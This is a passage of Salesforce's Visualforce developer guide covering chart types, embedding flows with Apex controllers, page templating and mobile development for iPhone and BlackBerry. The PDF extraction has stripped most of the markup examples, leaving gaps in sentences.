linear data series charts available in Visualforce. Linear series charts are charts plotted against a standard rectangular grid. Each data element in a linear series is described by an X,Y coordinate. The data series defines how to draw the coordinate on the grid. The charts draw bars stretching between an origin axis and the X,Y coordinates. The orientation attribute determines whether the origin axis is the left axis (Y) or the bottom axis (X). Set for bars that originate on the left side of the chart, and for a column chart with bars that rise from the bottom of the chart. To plot multiple data points for each bar interval, group or stack the bars within a single tag. Multiple tags in a single chart draw on top of each other, obscuring all but the last data series. To create a vertical column chart, add all fields to be grouped or stacked to the yField attribute: 198 Visualforce Charting Bar Charts By default, data fields in an are grouped on a chart. To stack them on top of each other, set stacked="true". Use the gutter attribute to adjust spacing between grouped bars. Use the groupGutter attribute to adjust spacing between groups. Use the xPadding and yPadding attributes to adjust the spacing between the chart axes and the bars themselves. By default, legend titles for stacked or grouped bar charts use the names of fields in the yField attribute. In the previous example, the default titles are “data1”, “data2”, and “data3”. To give the legend more meaningful titles, use the title attribute of the component. Use commas to separate items. For example, title="MacDonald,Promas,Worle": 199 Visualforce Charting Other Linear Series Charts Other Linear Series Charts Other linear data series charts include , , and . You can combine linear data series charts on the same graph, but to create meaningful charts, keep the following in mind: • • Data series charts draw on top of each other in the order you define them in Visualforce markup. Define charts first because they usually need to be in the background because they can’t be transparent. The components are similar to stacked bar charts, except that the chart is drawn as shaded areas defined by a line connecting the points of the series instead of as individual bars. To combine with other data series, use the opacity attribute to make the area chart partially transparent. The opacity attribute is a floating point number between 0.0 and 1.0, with 0.0 being fully transparent and 1.0 being fully opaque. Here’s an area series combined with a bar series: By default, legend titles for area charts use the names of fields in the yField attribute. In the previous example, the default titles are “data1”, “data2”, and “data3”. To give the legend more meaningful titles, use the title attribute of the component. Use commas to separate items. For example, title="MacDonald,Promas,Worle": 200 Visualforce Charting Other Linear Series Charts Like charts, charts use lines to connect a series of points. You can fill the area under the line. Unlike charts, charts don’t stack. When charts aren’t filled, you might choose to put several series in the same chart. Line series can display markers for the data points and you can define the color and size of both the markers and the connecting lines. Here’s a chart that combines three line series, one of which is filled: 201 Visualforce Charting Pie Charts Note: An component might not fill as expected if a Numeric axis doesn’t increase in order as it moves up and to the right. The solution is to set the axis to type="Category" and sort the values manually before passing the data to the chart. The charts are like charts without the connecting lines. By varying the marker size, type, and color, it’s easy to plot many scatter series on the same chart. Pie Charts The most common customizations to charts is to colors and labels., Use the colorSet attribute and the component that were demonstrated in previous examples. To create a ring chart instead of a pie chart, set the donut attribute. The donut attribute is an integer between 0 and 100 and represents the percentage of the radius of the hole. Here’s a simple ring chart: 202 Visualforce Charting Gauge Charts See Also: Chart Colors Chart Layout and Annotation Gauge Charts Gauge charts show a single measurement against a defined axis or scale. Although it charts a single number, you can vary the axis and chart colors to communicate what that number means. Use the minimum and maximum attributes of the tag to define the range of values. Use the colorSet attribute of the tag to indicate whether the current value is good or bad. Here’s a chart that indicates the metric is well within an acceptable range: Note: Gauge charts don’t support legends or labels. Radar Charts Radar charts are like line charts but they use a circular axis instead of a linear grid. Use the markerType, markerSize, and markerFill attributes to set the style, size, and color of the markers. Use the strokeColor and strokeWidth attributes to set the color and thickness of the connecting lines. Optionally, set fill=true to fill the area enclosed by the series, and use opacity to make it transparent so that other series remain visible. The opacity attribute is a floating point number between 0.0 and 1.0, with 0.0 being fully transparent and 1.0 being fully opaque. Here’s an example of a radar chart, and the markup that creates it: 203 Visualforce Charting Radar Charts 204 Chapter 16 Rendering Flows with Visualforce Visual Workflow allows administrators to build applications, known as flows, that step users through screens for collecting and updating data. For example, you can use Visual Workflow to script calls for a customer support center or to generate real-time quotes for a sales organization. The standard user interface for running a flow can't be customized. Visualforce is the core technology that gives developers a more powerful way of building applications and customizing the look and feel of applications. Visual Workflow can leverage this technology to customize the user interface when running flows. The following topics demonstrate how to embed and configure flows in a Visualforce page: • • • • Embedding Flows in Visualforce Pages Advanced Examples of Using Configuring the finishLocation Attribute in a Flow Customizing a Flow’s User Interface on page 211 Embedding Flows in Visualforce Pages To customize a flow’s look and feel or enhance its functionality you can embed it as a component in a Visualforce page. If your organization has flows enabled for sites and portals, you can then deliver the flow to your Force.com site, Customer Portal, or partner portal users. Note: Users can only run flows that have an active version. If the flow you embed doesn't have an active version, users see an error message. If the flow you embed includes a subflow element, the flow that is referenced and called by the subflow element must have an active version. To add a flow to a Visualforce page, embed it using the component: 1. Find the flow's unique name: a. Go to the flow list page at Your Name > Setup > Create > Workflow & Approvals > Flows. b. Click the name of the flow you want to embed. 2. Define a new Visualforce page or open one that you want to edit. 3. Add the component, somewhere between the tags. 4. Set the name attribute to the unique name of the flow. For example: 205 Rendering Flows with Visualforce Embedding Flows in Visualforce Pages Note: If the flow is from a managed package, then the name attribute must be in this format: namespace.flowuniquename. 5. Restrict which users can run the flow by setting the page security for the Visualforce page that contains it. If the Visualforce page containing the flow is delivered externally to site or portal users, any of those users with access to the Visualforce page can run the embedded flow. If the Visualforce page containing the flow is delivered to users within your organization through a custom Web tab, link, or button, users must have access to the page. They must also have the “Run Flows” permission or have the Force.com Flow User field enabled on their user detail page. 6. Specify what happens when a user clicks Finish in a flow screen by setting the flow finish behavior. Setting Variable Values in a Flow In this example, we'll build a simple flow to allow customer support agents to troubleshoot modem issues by creating a case. You can set the value of variables when starting a flow through the component. For our example, to set the case number variable called vaCaseNumber with the initial value 01212212 when the flow loads, use the following markup: Note: You can only set variables at the beginning of an interview. The tags are evaluated only once when the flow is started. You can only set variables that allow input access and get variables that allow output access. For each flow variable, input and output access is controlled by these fields: • • Input/Output Type variable field in the Cloud Flow Designer isInput and isOutput fields on FlowVariable in the Metadata API For a variable that doesn’t allow input or output access, attempts to set or get the variable are ignored, and compilation may fail for the Visualforce page, its component, or the Apex class. You can also leverage standard Visualforce controllers to set variables. For example, if the Visualforce page is using the standardCase controller, you can enhance the page to pass in the data from the standard controller: Setting the finishLocation Attribute Building on our modem troubleshooting example, we'll also set the finishLocation attribute to redirect the user to the Salesforce home page when they click on the Finish button at the end of the flow: 206 Rendering Flows with Visualforce Advanced Examples of Using For more examples of setting finishLocation, see Configuring the finishLocation Attribute in a Flow on page 209. Advanced Examples of Using The component is designed to make it easy to develop complex Visualforce interactions. However, there are also more features you can access in your flow by creating a custom controller. With custom controllers, you can build a page with multiple components that can interact with each other. Any flow within your organization can be individually referenced by its own Apex type, and the variables in the flow can be accessed as member variables. Note: You can only set variables that allow input access and get variables that allow output access. For each flow variable, input and output access is controlled by these fields: • • Input/Output Type variable field in the Cloud Flow Designer isInput and isOutput fields on FlowVariable in the Metadata API For a variable that doesn’t allow input or output access, attempts to set or get the variable are ignored, and compilation may fail for the Visualforce page, its component, or the Apex class. For our next example, the flow with unique name ”ModemTroubleShooting" is referenced as Flow.Interview.ModemTroubleShooting. The markup illustrates how to display a value of a flow variable in a different part of the page: Note: If the flow is from a managed package, then the name attribute must be in this format: namespace.flowuniquename. The controller for the above markup looks like this: public class ModemTroubleShootingCustomSimple { // Need not instantiate explicitly the Flow object using the class constructor public Flow.Interview.ModemTroubleShooting myflow { get; set; } public String casePriority; public String getcasePriority() { // Access flow variables as simple member variables with get/set methods if(myflow==null) return 'High'; else return myflow.vaCasePriority; } } If you're using a custom controller, you can also set the initial values of the variables at the beginning of the flow in the constructor of the flow. Passing in variables using the constructor is optional and isn't necessary if you are using tags to set the value. 207 Rendering Flows with Visualforce Advanced Examples of Using Here's an example of a custom controller that sets the values of flow variables in a constructor: public class ModemTroubleShootingCustomSetVariables { public Flow.Interview.ModemTroubleShooting myflow { get; set; } public ModemTroubleShootingCustomSetVariables() { Map myMap = new Map(); myMap.put('vaCaseNumber','123456'); myflow = new Flow.Interview.ModemTroubleShooting(myMap); } public String caseNumber { set; } public String getcaseNumber() { return myflow.vaCaseNumber; } } You can use the getVariableValue method in the Flow.Interview class to enable a Visualforce controller to access the value of a flow variable. The variable may be in the flow embedded in the Visualforce page or in a separate flow that is called by a subflow element. The returned variable value comes from whichever flow the interview is currently running. If the specified variable can’t be found in that flow, the method returns null. This method checks for the existence of the variable at run time only, not at compile time. The following sample uses the getVariableValue method to obtain breadcrumb (navigation) information from the flow embedded in the Visualforce page. If that flow contains subflow elements, and each of the referenced flows also contains a vaBreadCrumb variable, the Visualforce page can provide users with breadcrumbs regardless of which flow the interview is running. public class SampleContoller { //Instance of the flow public Flow.Interview.Flow_Template_Gallery myFlow {get; set;} public String getBreadCrumb() { String aBreadCrumb; if (myFlow==null) { return 'Home';} else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb'); return(aBreadCrumb==null ? 'Home': aBreadCrumb); } } The following table shows the differences in the naming of supported data types between the flow and Apex. Flow Apex Text String Number Decimal Currency Decimal Date Date, DateTime Boolean Boolean 208 Rendering Flows with Visualforce Configuring the finishLocation Attribute in a Flow As it's a good practice to write tests against your Apex code, the following is a trivial example of writing a test class for ModemTroubleShootingCustomSetVariables: public class ModemTroubleShootingCustomSetVariablesTest { public static testmethod void ModemTroubleShootingCustomSetVariablestests() { PageReference pageRef = Page.ModemTroubleShootingSetVariables; Test.setCurrentPage(pageRef); ModemTroubleShootingCustomSetVariables mytestController = new ModemTroubleShootingCustomSetVariables(); System.assertEquals(mytestController.getcaseNumber(), '01212212'); } } Setting the reRender Attribute By using the reRender attribute, the component re-renders the flow without refreshing the whole page: Warning: If you don't set the reRender attribute, when you click a button to navigate to a different screen in a flow, the entire Visualforce page refreshes, not just the component. Configuring the finishLocation Attribute in a Flow Embedding a flow in a Visualforce page using the component gives your Force.com Sites, Customer Portal and partner portal users access to the dynamic applications you've built using Visual Workflow. In addition to the other flow customizations available with Visualforce, you can also shape what happens when a user clicks Finish on the final screen. The following sections show the ways you can configure the component's finishLocation attribute. • • • Setting finishLocation Using the URLFOR Function Setting finishLocation Using the $Page Variable Setting finishLocation Using a Controller Note: • • • If finishLocation isn't specified, users that click Finish are routed back to the first screen of the flow. If you use a standard controller to display a record on the same page as the flow, users that click Finish are routed back to the first screen of the flow, without the record. This is because the id query string parameter isn’t preserved in the page URL. If needed, configure the finishLocation to route users back to the record. You can't redirect flow users to a URL that’s external to your Salesforce organization. 209 Rendering Flows with Visualforce Configuring the finishLocation Attribute in a Flow Setting finishLocation Using the URLFOR Function You can use the URLFOR function to: Route users to a relative URL, such as the Salesforce home page. • Route users to a specific record or detail page using its ID. For example, if you wanted to route users to a detail page with an ID of 001D000000IpE9X: • For more information about URLFOR, see Functions on page 495. Setting finishLocation Using the $Page Variable If you want to redirect users to another Visualforce page when they click Finish, but you don't want to use URLFOR, you can set finishLocation to simply the name of the destination page. For more information about $Page, see Global Variables on page 476. Setting finishLocation Using a Controller You can set finishLocation in a few different ways with a controller. Here's some sample code for a page:

Congratulations!

This is your new page.
Here's sample code for the controller. public class myFlowController { public PageReference getPageA() { return new PageReference('/300'); } public String getPageB() { return '/300'; } public String getPageC() { return '/apex/my_finish_page'; } } Note there are three different examples. 210 Rendering Flows with Visualforce • • • Customizing a Flow’s User Interface getPageA instantiates a new page reference by passing a string to define the location. getPageB returns a string which is treated like a PageReference. getPageC returns a string that gets translated into a PageReference. Note: You can't redirect users to a URL that’s external to your Salesforce organization. Customizing a Flow’s User Interface After you’ve embedded a flow in a Visualforce page, you can customize what the flow looks like at runtime by applying custom styles using CSS. Using a combination of flow attributes and CSS classes, you can customize the individual parts of a flow, such as the button location, button style, background, and the look and feel of the screen labels. Flow Button Attributes Use these attributes to change how the Next, Previous, and Finish buttons appear in your flow. Attribute Description buttonLocation Defines the location of the navigation buttons in the flow’s user interface. Available values are: • top • bottom • both For example: Note: If unspecified, the buttonLocation value defaults to both. buttonStyle Assigns a style to the flow navigation buttons as a set. Can only be used for inline styling, not for CSS classes. For example: Flow-Specific CSS Classes You can override these predefined flow style classes with your own CSS styles. 211 Rendering Flows with Visualforce Customizing a Flow’s User Interface Flow Style Class Applies to... FlowContainer The
element containing the flow. FlowPageBlockBtns The element containing the flow navigation buttons. Note: To prevent your CSS styling for flow navigation buttons from being overwritten by button styling applied elsewhere in the system, we recommend you specify this flow style class each time you apply CSS styling to flow navigation buttons. For example, instead of .FlowPreviousBtn {}, enter .FlowPageBlockBtns .FlowPreviousBtn {}. FlowPreviousBtn The Previous button. FlowNextBtn The Next button. FlowFinishBtn The Finish button. FlowText A text field label. FlowTextArea A text area field label. FlowNumber A number field label. FlowDate A date field label. FlowCurrency A currency field label. FlowPassword A password field label. FlowRadio A radio button field label. FlowDropdown A drop-down list label. 212 Chapter 17 Templating with Visualforce Visualforce provides several strategies for reusing similar content across multiple Visualforce pages. The method you choose depends on how flexible you need your reused template to be. The more flexible a templating method is, the more any implementation of a template using that method can be modified. The following template methods are available, in order of most to least flexible: Defining Custom Components Similar to the way you can encapsulate a piece of code in a method and then reuse that method several times in a program, you can encapsulate a common design pattern in a custom component and then reuse that component several times in one or more Visualforce pages. Defining custom components is the most flexible templating method because they can contain any valid Visualforce tags and can be imported without restrictions into any Visualforce page. However custom components should not be used to define reusable Visualforce pages. If you want to reuse the content of an entire Visualforce page, choose one of the other two templating methods. Defining Templates with If you want to define a base template that allows portions of the template to change with each implementation, use the component. This templating method is best for situations when you want to maintain an overall structure to a page, but need the content of individual pages to be different, such as a website for news articles where different articles should appear with the same page layout. Through this technique, you can also define a template from a PageReference returned by a controller. Referencing an Existing Page with If you want the entire content of a Visualforce page inserted into another page, use the component. This templating method is best for situations when you want to replicate the same content in multiple areas, such as a feedback form that appears on every page of a website. Templates made with and should only be used when you want to reference an already existing Visualforce page. If you require only a set of components to be duplicated, use custom components. Defining Templates with All templates defined using must have one or more child tags. An tag indicates to pages that import the template that a section needs a definition. Any Visualforce page that imports a template using must use to specify the content of each section of the template. You can create a skeleton template that allows subsequent Visualforce pages to implement different content within the same standard structure. To do so, create a template page with the tag. The following example shows how you can use , , and to implement a skeleton template. 213 Templating with Visualforce Defining Templates with First, create an empty page called myFormComposition that uses a controller called compositionExample: After saving the page, a prompt appears that asks you to create compositionExample. Use the following code to define that custom controller: public class compositionExample{ String name; Integer age; String meal; String color; Boolean showGreeting = false; public PageReference save() { showGreeting = true; return null; } public void setNameField(String nameField) { name = nameField; } public String getNameField() { return name; } public void setAgeField(Integer ageField) { age= ageField; } public Integer getAgeField() { return age; } public void setMealField(String mealField) { meal= mealField; } public String getMealField() { return meal; } public void setColorField(String colorField) { color = colorField; } public String getColorField() { return color; } public Boolean getShowGreeting() { return showGreeting; } } 214 Templating with Visualforce Defining Templates with Next, return to myFormComposition and create a skeleton template:


That's everything, right?

Notice the two fields requiring the age and meal content. The markup for these fields is defined in whichever page calls this composition template. Next, create a page called myFullForm, which defines the tags in myFormComposition: Notice the following about the markup: • • • • • When you save myFullForm, the previously defined tags and Save button appear. Since the composition page requires age and meal fields, myFullForm defines them as text input fields. The order in which they appear on the page does not matter; myFormComposition specifies that the age field is always displayed before the meal field. The name field is still imported, even without a matching field. The color field is disregarded, even though controller code exists for the field. This is because the composition template does not require any field named color. The age and meal fields do not need to be text inputs. The components within an tag can be any valid Visualforce tag. 215 Templating with Visualforce Defining Templates with To show how you can use any valid Visualforce in an tag, create a new Visualforce page called myAgelessForm and use the following markup:

You look great for your age!

Notice that the composition template only requires an tag to exist. In this example, age is defined as text. Dynamic Templates A dynamic template allows you to assign a template through a PageReference. The template name is assigned to a controller method that returns a PageReference containing the template you want to use. For example, create a page called myAppliedTemplate that defines the skeleton template: Next, create a controller called dynamicComposition with a method that will return a reference to this page: public class dynamicComposition { public PageReference getmyTemplate() { return Page.myAppliedTemplate; } } Last, create a page called myDynamicComposition that implements this controller and the dynamic template: Hello {!$User.FirstName}, you look quite well. 216 Templating with Visualforce Referencing an Existing Page with Referencing an Existing Page with Use the tag when you want to duplicate the entire content of another page without making any changes. You can use this technique to reference existing markup that will be used the same way in several locations. Note: You should not use if you are only duplicating components. Custom components are better suited for reusable segments of code. For example, suppose you want to create a form that takes a user's name and displays it back to them. First, create a page called formTemplate that represents a reusable form and uses a controller called templateExample: After you receive the prompt about templateExample not existing, use the following code to define that custom controller: public class templateExample{ String name; Boolean showGreeting = false; public PageReference save() { showGreeting = true; return null; } public void setNameField(String nameField) { name = nameField; } public String getNameField() { return name; } public Boolean getShowGreeting() { return showGreeting; } } Next, return to formTemplate and add the following markup: Note that nothing should happen if you click Save. This is expected behavior. Next, create a page called displayName, which includes formTemplate: rerender="greeting"/> When you save this page, the entire formTemplate page is imported. When you enter a name and click Save the form passes a true value to the showGreeting field, which then renders the and displays the user's name. You can create another Visualforce page that uses formTemplate to display a different greeting. Create a page called displayBoldName and use the following markup: Notice that although the displayed text changes, the templateExample logic remains the same. 218 Chapter 18 Developing for Mobile Devices Developers can use Visualforce and Apex to write sophisticated and powerful applications that run natively on the Force.com platform. To extend applications built on the Force.com platform to mobile devices, developers can use Visualforce Mobile. Visualforce Mobile combines the speed and reliability of Salesforce Mobile, salesforce.com's native client application, with a fully customizable, browser-based user interface. Visualforce Mobile is a hybrid of client-side and on-demand programming that lets developers leverage the offline data access offered by Salesforce Mobile along with the flexibility and rapid development offered by Visualforce and Apex. Salesforce Mobile for BlackBerry and Salesforce Mobile for iPhone can render Visualforce pages and web pages directly within the client application in an embedded browser. Visualforce Mobile pages can even execute JavaScript code that forces Salesforce Mobile to synchronize data and close the embedded browser. What is Salesforce Mobile? Salesforce Mobile is a client application provided by salesforce.com that allows users access to their data from a BlackBerry, iPhone, or Windows Mobile device. The Salesforce Mobile client application exchanges data with Salesforce over wireless carrier networks, and stores a local copy of the user’s data in its own database on the mobile device. The data sent to the device is determined by a mobile configuration. Mobile configurations are sets of parameters that define a relevant subset of the user's Salesforce records. A separate Salesforce Mobile license is required for each user who uses a mobile device to access Salesforce. For organizations using Unlimited and Developer Editions, salesforce.com provides one mobile license for each Salesforce license. Organizations using Professional or Enterprise Editions must purchase mobile licenses separately. Note: Mobile Lite, a free version of the mobile application, is available at no cost to Professional or Enterprise Edition customers who don't have mobile licenses. Mobile Lite does not support Visualforce Mobile. Which Devices Can Run Salesforce Mobile and Visualforce Mobile? Salesforce Mobile can run on BlackBerry, iPhone, and Windows Mobile devices; however, the Windows Mobile client application does not currently support Visualforce Mobile. BlackBerry and iPhone devices must meet the following requirements: BlackBerry The Salesforce Mobile app can run on BlackBerry operating system versions 4.3 through 7.0. For optimum performance, however, Salesforce recommends running Visualforce Mobile on BlackBerry smartphones installed with versions 4.6 through 4.7. Upgrading to the latest version of the BlackBerry operating system can improve overall device performance. At a minimum, 5 MB of free memory should be available on the device. The mobile client application is supported on these BlackBerry smartphones providing that the operating system requirement has been met: 219 Developing for Mobile Devices • • • • • • What are the Capabilities and Limitations of the Mobile Application? BlackBerry 8100 Series (Pearl) BlackBerry 8300 Series (Curve) BlackBerry 8800 Series BlackBerry 8900 Series (Javelin) BlackBerry 9000 Series (Bold) BlackBerry 9500 Series (Storm) iPhone Salesforce Mobile requires the latest iPhone operating system available on iTunes. The device should have at least 5 MB of available memory before installing the mobile client application. The mobile client application is supported on these devices: • iPhone • iPhone 3G • iPhone 3GS • iPod Touch Note: Developers who do not own an iPhone or BlackBerry device can test their Visualforce Mobile pages using simulators. What are the Capabilities and Limitations of the Mobile Application? Salesforce Mobile is a native client application with an embedded browser that can pass information between the client application and Visualforce pages. The embedded browser communicates with Salesforce using the device's internet connection; the native client application communicates with Salesforce asynchronously through the SOAP API. The embedded browser can execute JavaScript, but the native client application cannot. The following list outlines the capabilities and limitations of the native client application: Available Objects Administrators can mobilize accounts, assets, contacts, opportunities, leads, tasks, events, price books, products, cases, solutions, and custom objects. Custom links, s-controls, mashups, merge fields, and image fields cannot be mobilized. The following do not execute in the mobile client application but will run server-side after a record is saved and submitted to Salesforce: workflow rules, validation rules, formula fields, and Apex triggers. Permissions, Record Types, and Page Layouts User permissions, record types, and page layouts are inherited from Salesforce. Administrators can optionally change the properties of a mobilized object by further restricting permissions of mobile users or excluding unnecessary fields from mobile page layouts. Related Lists If administrators mobilize a related object—in other words, add a child data set to a parent data set—the object automatically becomes a related list on the mobile device. 220 Developing for Mobile Devices When Should Visualforce Mobile Be Used? Dashboards and Reports Dashboards are available in the BlackBerry and iPhone client applications. Reports are available in the BlackBerry client application. Reports are sent to the device in Excel format and display in a basic table. The report viewer in the mobile application does not support sorting, summaries, subtotals, or grouping. Custom List Views BlackBerry users can create custom views in the mobile client application. BlackBerry and iPhone users can access custom views created by Salesforce administrators in the Mobile Administration Console. In the mobile application, custom views are limited to two columns. Visualforce Tabs and Web Tabs iPhone and BlackBerry users can access Visualforce tabs and web tabs in the mobile client application if the tabs have been mobilized by a Salesforce administrator. Although the native client application lets users access data offline, Visualforce tabs and web tabs require a connection to the wireless network because the tabs are launched in an embedded browser. When Should Visualforce Mobile Be Used? The majority of popular consumer and enterprise mobile applications are client-side applications that require installation and periodically connect to a server to send and receive data. There are two main reasons why mobile client applications are so prevalent over mobile on-demand applications: Connection Mobile devices do not maintain a constant network connection. With a client application, users can work offline and still have uninterrupted access to their data. Speed Wireless data networks are still very slow. Client applications are highly responsive. Visualforce Mobile provides a way to build custom interfaces and business logic for mobile devices, but developers should only turn to Visualforce Mobile when their needs cannot be met using the capabilities of the native client application. For example, developers might be able to replicate the same functionality in a Visualforce page by building custom objects, creating custom fields, and writing Apex triggers that run server-side when a record is updated. Until the speed and reliability of wireless networks improve, the best experience for mobile users is one where the client application performs the operations. There are situations, however, where the native client application cannot satisfy a customer's requirements. Use Visualforce Mobile to: • • • • • Mobilize a standard Salesforce object that the client application does not support. Integrate with another Web API, such as Google Maps. Reproduce Salesforce functionality that is not available in the client application, such as responding to approval requests or sending emails using an email template. Integrate with a peripheral device, such as Bluetooth or embedded GPS. Override the action of the standard buttons on record detail pages. When possible, write Apex triggers instead of overriding buttons with Visualforce. 221 Developing for Mobile Devices Developing Pages for iPhone and BlackBerry Developing Pages for iPhone and BlackBerry Developing Visualforce pages for Salesforce Mobile is much different than developing pages for Salesforce. Designs that work in a desktop browser will likely not offer a good experience in a mobile browser. Follow these general best practices when building Visualforce Mobile pages for iPhone and BlackBerry: Controllers Standard controllers let you reproduce the data, styling, and actions of standard object pages. Salesforce Mobile has support for custom objects and many common standard objects, and it's unlikely that you would use a standard controller to replace native functionality in the mobile application with a Visualforce page. Additionally, the layout and styling of a standard object page are usually too complex for the mobile browser. When developing for the mobile application, you may often write custom controllers for your pages. Controllers run server-side, not in the embedded browser. Controllers with highly complex business logic may cause the page to load more slowly. Header and Sidebar Phones have small screens, and there's often not enough space to display the user's row of tabs and the sidebar. Additionally, it would take a long time to load these components over a wireless network. Consider suppressing the header and sidebar in your Visualforce Mobile pages with the following attribute definition: Page Styles The standard Salesforce stylesheets (CSS files) are too massive for the mobile browser. Not only will the Salesforce stylesheets cause the page to load very slowly, but the stylesheets do not display properly in the BlackBerry browser. Suppress the standard stylesheets in your Visualforce Mobile pages with the following attribute definition: The best approach to adding a stylesheet to your page is to include a To reuse styles between pages, create a separate Visualforce page that defines your styles. Then, use the tag to incorporate the styles page. For example, suppose you define a page called myStyles: 222 Developing for Mobile Devices iPhone Considerations You would include these styles into another page like the following: It is possible to save a mobile-optimized stylesheet as a static resource, and then reference it in your page. However, the stylesheet is paired with the Visualforce markup on the client-side to render the page, so you increase the page load time by adding a stylesheet as a static resource. Note: If you are building pages for the iPhone and want to mimic the standard iPhone UI, you can save time and development effort by using iUI, a third-party library that provides an iPhone-like interface to Web applications. Lookups The lookup field selector provided with doesn’t offer a good user experience on BlackBerry and doesn’t work on iPhone. You can work around this issue by writing an Apex trigger that validates the entry in the lookup field upon saving the record. You could also change the field type, if possible. The following topics include additional information about developing pages for iPhone and BlackBerry: • • • • iPhone Considerations BlackBerry Considerations Developing Cross-Platform Compatible Pages Using the JavaScript Library See Also: Styling Visualforce Pages Using Static Resources iPhone Considerations The mobile application launches Visualforce Mobile pages in an embedded browser. The iPhone embedded browser is the same full-featured Safari browser used for the default Web browser. It has excellent JavaScript support and performs well. When developing pages for the iPhone, these considerations apply: Page Zoom By default, the iPhone browser sets your page width to 980 pixels—a value chosen to maximize compatibility with a broad range of websites. Use a tag to let the iPhone browser know how wide to display the initial page: Other browsers ignore this tag. 223 Developing for Mobile Devices iPhone Considerations For iPhone-specific applications, you should set the page width to the width of the device. When providing multiple properties for the viewport meta key, use a comma-delimited list of assignment statements. The following table describes the viewport properties: Property Description width The width of the viewport in pixels. The default is 980. The range is from 200 to 10,000. Use the device_width value to set the page to the width of the device in pixels. height The height of the viewport in pixels. The default is calculated based on the value of the width property and the aspect ratio of the device. The range is from 223 to 10,000 pixels. Use the device_height value to set the page to the height of the device in pixels. initial-scale The initial scale of the viewport as a multiplier. The default is calculated to fit the web page in the visible area. The range is determined by the minimum-scale and maximum-scale properties. You can set only the initial scale of the viewport, which is the scale of the viewport the first time the web page is displayed. Thereafter, the user can zoom in and out unless you set user-scalable to no. Zooming by the user is also limited by the minimum-scale and maximum-scale properties. minimum-scale Specifies the minimum scale value of the viewport. The default is 0.25. The range is from >0 to 10.0. maximum-scale Specifies the maximum scale value of the viewport. The default is 1.6. The range is from >0 to 10.0. user-scalable Determines whether or not the user can zoom in and out. Set to yes to allow scaling and no to disallow scaling. The default is yes. Setting user-scalable to no also prevents a page from scrolling when entering text in an input field. Screen Rotation In the mobile application, rotating the screen will not cause the page to flip and re-size. URL Targets The embedded browser does not support the target="_blank" attribute. If you use it in your page, the URL target doesn’t load. File Access The embedded browser does not natively offer access to the file system, camera, location, or other device data. Static Resource Caching In the mobile application, static resources (such as imahes, JavaScript, or CSS) are not cached. This can have affect performance on slow connections. The embedded browser does support caching. 224 Developing for Mobile Devices BlackBerry Considerations As a general rule for mobile development, you shouldn't use components that: • Rely on JavaScript to perform an action • Depend on Salesforce.com stylesheets To check if your Visualforce Mobile page falls into one of these categories, you can view the HTML source of the page. If you see a This approach offers the best user experience for all devices with the fewest long-term development headaches. However, it does require you to maintain two separate applications—one for each device type. Lowest Common Denominator Build to the lowest common denominator and include only minimal, unobtrusive JavaScript, avoiding scripts with inline events in the tags. Depending on the devices in the customer's organization, you might need to avoid JavaScript all together. On older BlackBerry smartphones, using any JavaScript at all can cause the page to malfunction. Conditional Code Build device-conditional code and styles. The user agent string, contained in the header passed by the browser to the server, identifies the connecting device as BlackBerry or iPhone. The code in your Visualforce Mobile page evaluates the user agent string and displays the content appropriate for the connecting device. The benefit of Visualforce is that the markup is interpreted server-side, and the client only receives the markup it can render based on the assessment of the conditional statements. Building with conditional code is the most sophisticated approach, but not necessarily the best long-term solution due to the added code complexity. Note: Dynamic References to Static Resources illustrates an alternative approach to dynamically displaying different graphics based on characteristics of the request. For example, the following markup creates a custom component named mobileSample that simply displays an image stored within the mobileImages static resource. However, it determines which image to display at runtime based on the browser's reported user agent value as inspected in the component’s controller. // mobileSampleCon Controller code snippet ... public class mobileSampleCon { public String deviceType { get; set; } public MobileSampleCon() { String userAgent = ApexPages.currentPage().getHeaders().get('USER-AGENT'); if(userAgent.contains('iPhone')) { deviceType = 'iPhone'; } else if(userAgent.contains('BlackBerry')) { deviceType = 'BlackBerry'; } } } 227 Developing for Mobile Devices Developing Cross-Platform Compatible Pages The following example loads different stylesheets based on the connecting application. First, you can create the page that you want displayed across multiple devices: ... ... The Global.zip and SendEmail.zip files are static resources that contain the referenced CSS files. For the conditionalStylesheets custom component, you can define multiple CSS declarations that are rendered based on the browser type: // Visualforce component code // for a BlackBerry standard browser, e.g., Bold // for a BlackBerry embedded browser in Salesforce Mobile // the Apex code distinguished between the regular and embedded browsers // for the iPhone Safari browser (inside Salesforce Mobile or not) Finally, the browserName value is determined in an Apex controller in a manner similar to the preceding example: Note: Salesforce Mobile appends the text "Salesforce" to the end of the string for the embedded BlackBerry browser. Additionally, the user can change the user agent string on some BlackBerry smartphones. // Apex code snippet ... public static String getBrowserName() { String userAgent = ApexPages.currentPage().getHeaders().get('User-Agent'); if (userAgent.contains('iPhone')) return 'iPhone-Safari'; 228 Developing for Mobile Devices Using the JavaScript Library if (userAgent.contains('Salesforce')) return 'Salesforce'; if (userAgent.contains('BlackBerry')) return 'BlackBerry'; return 'other'; } ... Note: Commands in the JavaScript library for Salesforce Mobile can be used for both iPhone and BlackBerry devices. Using the JavaScript Library When developing Visualforce Mobile pages, you can take advantage of the JavaScript library containing commands that trigger actions in Salesforce Mobile, which helps provide a seamless user experience between Visualforce Mobile pages and the native client application. The actions in the new JavaScript library can be used in any Visualforce page. These commands work on JavaScript-enabled devices that support Visualforce. Currently, these devices include iPhones and BlackBerry smartphones. When using the JavaScript library for pages that display on BlackBerry smartphones, Salesforce recommends that version 4.6 or later of the BlackBerry operating system is installed on the device. Tip: One of the benefits of using the shared JavaScript library is that the commands work on both iPhone and BlackBerry operating systems. To call the functions in the library, you need a small amount of JavaScript code. The functions are: mobileforce.device.sync() Forces the mobile client application to synchronize with Salesforce, which updates data records on the device. mobileforce.device.close() Closes the embedded browser containing the Visualforce page and returns the user to the originating tab or record. mobileforce.device.syncClose() Forces the mobile client application to synchronize with Salesforce and closes the embedded browser containing the Visualforce page. mobileforce.device.getLocation() Obtains the GPS coordinates of the device's current location. Note: You can also trigger the sync and close commands using HTML links, which is a good alternative for BlackBerry smartphones that have limited JavaScript support. To use HTML to trigger the commands, include the following string as the value of the href attribute inside an tag: • • • To force the client to synchronize data, use mobileforce:///sync. To force the embedded browser to close, use mobileforce:///close. To force the embedded browser to close and the client to synchronize data, use mobileforce:///sync/close. 229 Developing for Mobile Devices Using the JavaScript Library In your Visualforce pages, use the following static resource to point to the JavaScript library: External websites must include the instance name in the src parameter: The following code is an example of a Visualforce page that uses all of the commands available in the JavaScript library: Visualforce Mobile Trigger Test

Triggers:

JS sync
JS close
JS sync and close
HTML sync
HTML close
HTML sync and close

Location:

